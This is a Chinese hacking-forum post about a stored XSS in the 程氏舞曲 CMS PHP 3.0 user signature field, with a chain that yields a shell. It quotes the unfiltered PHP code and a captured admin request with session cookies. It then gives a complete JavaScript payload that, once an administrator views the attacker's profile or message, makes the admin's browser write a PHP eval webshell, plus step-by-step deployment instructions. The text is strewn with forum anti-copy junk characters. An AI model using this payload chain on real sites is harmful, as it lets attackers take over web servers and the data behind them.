找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2503|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
" c& w3 Z/ E# t/ g2 C0 X$ r官网已经修补了,所以重新下了源码
0 r5 [& E4 i4 d5 q. c9 ^因为 后台登入 还需要认证码 所以 注入就没看了。
9 W8 R. V8 o5 A: j/ [' I. y. V% T存在 xss5 }# u6 p' L' w& d. t7 |( [* x
漏洞文件 user/member/skin_edit.php) U0 g/ z# H9 @0 r0 e
本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:/ B) t! J) C! O; S& S
  
8 `0 P3 m& K, y; J' J</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>  H5 p4 Y5 G- ^! n9 l9 h2 o
  
1 S1 [1 r! R- j# J4 x  U& h3 F</textarea></td></tr>
- ]/ [: A# c! J$ m- {  
$ T- L0 k/ u% R7 S             user/do.php ' u8 P8 Y  C0 \4 Z
% k) c5 ], M% G. Z8 t7 I

- D6 b. ~: `' T9 W0 k5 Oif($op=='zl'){ //资料7 f& u8 Z) q8 Y8 c
  
1 a+ K1 d2 H8 _7 ^             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
$ p2 z1 k4 E7 b5 X/ K: ?0 E1 \             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));% D# Y% H1 G! X- y% y# }* C1 O: I, L
  / ?" G( C3 \; K8 t
             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',; x* {4 T, V0 t4 B" r7 U6 G( g/ b
  * |5 A3 q5 I4 p+ J. ]5 b9 D1 X
             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
/ ?" w) j* Y, i1 q: \             where CS_Name='".$cscms_name."'";
0 K+ J1 I8 S% {" M. X$ W  
% J1 T- g6 X' q, y. P             if($db->query($sql)){
1 S' h; v, }* @; M7 ^8 W  @  ' `% C" x1 [4 {- F+ ^9 Y
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));1 y2 c# b' q4 R- B) \# w
  
- d7 x* `; z2 c! w: ^; t, Z4 G. @             }else{
6 a! _; i* G  F  F# }9 x    {# g2 i* f- ^6 I/ x0 ^1 O' w
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));5 j4 l7 K; E! A4 O6 j& |
  0 N) ~! b' A0 T, u* e$ U( `
             }
* a2 c6 k7 \, h6 U) H  g" A' Q2 O0 ^1 m4 \
3 V+ I% ]' _6 O* c% I2 \3 F. d
没有 过滤导致xss产生。
6 j$ G; b- L0 H% m' d+ |' B后台 看了下 很奇葩的是可以写任意格式文件。。
) R1 L5 u& i. k, }/ l/ `抓包。。% A( C; B% j* p" O& O

; n# W4 C0 O8 f, X0 I% j7 @6 _( Y! P; M7 l6 F
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
2 U" @7 O$ M' e2 Y4 r  3 T9 s2 c- ?2 I; J7 X! w5 i4 h
Accept: text/html, application/xhtml+xml, */*
; w& l- P- E2 i9 V3 H6 F4 w* s/ d  
3 j1 h: s" x' [" W8 J/ j3 zReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php* n* {8 _% y# B) C' z' K- s9 q
  6 C/ z! ?% m5 @- v& D
Accept-Language: zh-CN
- N+ i0 o2 {: e! x; A  9 p: e% Q1 g4 \# Y' O
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
% w1 I" ^7 m6 S5 p9 v7 e  
$ [8 u0 M+ J! h% Y) y$ hContent-Type: application/x-www-form-urlencoded# i6 w( v$ {; N% v: H
  
. x/ q0 B9 G% Q+ T2 gAccept-Encoding: gzip, deflate& j& P/ K2 h; B& {; ?
  
" @: ]4 X6 O8 o' ?+ c2 X" sHost: 127.0.0.1# q( }$ t- ]* t6 b! {
  4 [9 k- |& R5 A0 |
Content-Length: 38
# i% \' x- O4 ]+ V0 X- \* C  
$ f  `' J: D- X; DDNT: 1) x9 f- B; l3 u! K
  $ a" N1 v  o# I  \
Connection: Keep-Alive+ M) Z9 v' o  P  ~/ C7 L' A& D
  # |. r5 B6 `( G4 X. M/ O8 X
Cache-Control: no-cache
% k7 s' Z" u  ]# x! T% o+ {  
" m3 x) w+ [7 ~5 G; r9 \Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f655949 N. v0 f- Q' Y
  + y2 D' E7 P5 X$ E& o5 Z- A
: _/ ^5 q; p9 n
name=aaa.php&content=%3Cs%3E%3Ca%25%3E
% s/ a4 ]) c  k$ n( _. i" A
! y4 O+ n; Y/ Q/ u. {. g/ Q. u% o7 {9 c, M/ I& J4 T( ]! c

! r! V& c6 f& s8 F& o* ^于是 构造js如下。
0 y" R6 S3 R" ]4 {, P' R
; K( p: ~& _. e( z2 g8 ^  N7 b$ I本帖隐藏的内容<script> # Q. n" b' Q$ `2 i% T9 d
thisTHost = top.location.hostname;
. F8 h6 l2 A, o, \$ Q6 E& F  
& B; Y% T* J8 b6 {! O; {thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";8 b& a. [' U& A" }
  
8 _+ s5 ^4 g) D3 X6 ~function PostSubmit(url, data, msg) {
" B$ f" s4 \; w5 T) U- C    var postUrl = url;4 R# `) v' X  N# y/ p
  7 U, p' F* `: a5 b; l. R8 k0 ?
    var postData = data;
' w' b) F7 N* L6 |' L/ q    var msgData = msg; + S+ W- M$ v; L0 c7 c: ]% ?
    var ExportForm = document.createElement("FORM");   x% W9 A' s- O# K1 j
    document.body.appendChild(ExportForm); , f0 E3 u% B" g0 r: n+ D
    ExportForm.method = "POST";
  x6 K6 y/ J! G7 `. K/ K    var newElement = document.createElement("input");
' D& o( Y9 W# Y    newElement.setAttribute("name", "name");
2 O7 j1 e- B9 ~/ U" y$ V    newElement.setAttribute("type", "hidden");
6 T. {1 L0 I) M+ a. s) e% e* ?+ b. N    var newElement2 = document.createElement("input"); , y0 v4 D  i1 z$ r1 k
    newElement2.setAttribute("name", "content"); 7 a7 q6 ^3 G( _9 x: B% B
    newElement2.setAttribute("type", "hidden"); ) o' W0 T5 D* m+ \
    ExportForm.appendChild(newElement);
1 }$ c' c" W# `    ExportForm.appendChild(newElement2);
0 z0 q# h$ M( y) P0 ^( |2 P    newElement.value = postData; * A+ G* \3 @& a# ?) v& c9 J
    newElement2.value = msgData; - Y' ]* V- y) m
    ExportForm.action = postUrl;
; M7 W9 U' n/ m7 [  _/ h! L" F% d9 v    ExportForm.submit();
; ?7 `$ y3 e: k: e* n8 M};$ @$ Y* _" ]. f. \
  
, x  Q; F; a# ~PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
: T" t  {' R4 N6 I+ }" O3 n1 x  0 F# \' m# z% i! ^
</script>
( x, D2 g  U! C% f
* L, M& L. s  f9 D* Q; E$ h( T, Q% K; L

! W! `! g9 O! a$ Q" W2 hhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
. ^' |# m' l' m" k用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)2 X' ~- \: `; E2 X
就会 在 skins\index\html\目录下生成 roker.php 一句话。
! E6 W' r# D0 |, [: Q0 X7 ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表